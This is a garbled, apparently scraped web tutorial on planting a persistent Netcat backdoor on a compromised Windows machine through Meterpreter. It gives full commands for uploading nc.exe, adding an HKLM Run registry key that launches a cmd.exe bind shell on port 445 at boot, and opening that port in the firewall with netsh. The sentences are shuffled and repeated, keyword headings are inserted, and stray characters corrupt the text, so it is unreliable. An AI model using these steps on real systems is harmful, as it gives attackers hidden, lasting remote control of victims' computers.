
Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or encryption, however the principles of this process remain the same for other changes to the system, and other sorts of programs one might want to execute on start up. In listen mode, Ncat waits for an incoming connection. For those familiar with socket programming, connect mode is like using the connect function. Nc is the command which runs netcat, a simple Unix utility that reads and writes data.
HOW TO NETCAT WINDOWS INSTALL
Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. Install Netcat backdoor on Windows machine. This command is also used to create a reverse shell.

Netcat is also called a swiss army knife of networking tools. In connect mode, Ncat initiates a connection (or sends UDP data) to a service that is listening somewhere. Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Nc -v 172.16.104.128 445ġ72.16.104.128: inverse host lookup failed: Unknown server error : Connection timed outĭirectory of C:\Documents and Settings\Jim Ncat always operates in one of two basic modes: connect mode and listen mode. So with that being completed, we will reboot the remote system and test out the Netcat shell. Netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALLĬ:\Documents and Settings\Jim\My Documents > netsh firewall show portopeningĬ:\Documents and Settings\Jim\My Documents > C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL We open up port 445 in the firewall and double-check that it was set properly. Local Area Connection firewall configuration: Standard profile configuration (current): Meterpreter > execute -f cmd -iĬ:\Documents and Settings\Jim\My Documents > netsh firewall show opmode
HOW TO NETCAT WINDOWS PATCH
Plus, the process shown should work across more versions of Windows, as registry locations and functions are highly version and patch level dependent. We open up an interactive command prompt and use the netsh command to make the changes as it is far less error-prone than altering the registry directly. Next, we need to alter the system to allow remote connections through the firewall to our Netcat backdoor. Key: HKLM\software\microsoft\windows\currentversion\Runĭata: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe Meterpreter > upload /usr/share/windows. First, we must upload a copy of Netcat to the remote system. Meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc This includes changes to the system registry and firewall. Meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe' Meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\runĮnumerating: HKLM\software\microsoft\windows\currentversion\run It can function as a simple file server, simple web server, simple point-to-point chat implementation, a simple port scanner and more.
We do this by editing the key ‘HKLM\software\microsoft\windows\currentversion\run’. Netcat is a versatile networking tool that can be used to interact with computers using UPD or TCP connections. For Windows: If your victim machine is windows, then you have to specify the cmd.exe in -e flag, as shown below: nc.exeuploaded : /usr/share/windows-binaries/nc.exe -> C:\windows\system32nc.exeĪfterwards, we work with the registry to have netcat execute on start up and listen on port 445.

uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32 Meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

This includes changes to the system registry and firewall.įirst, we must upload a copy of Netcat to the remote system. In this example, instead of looking up information on the remote system, we will be installing a Netcat backdoor.
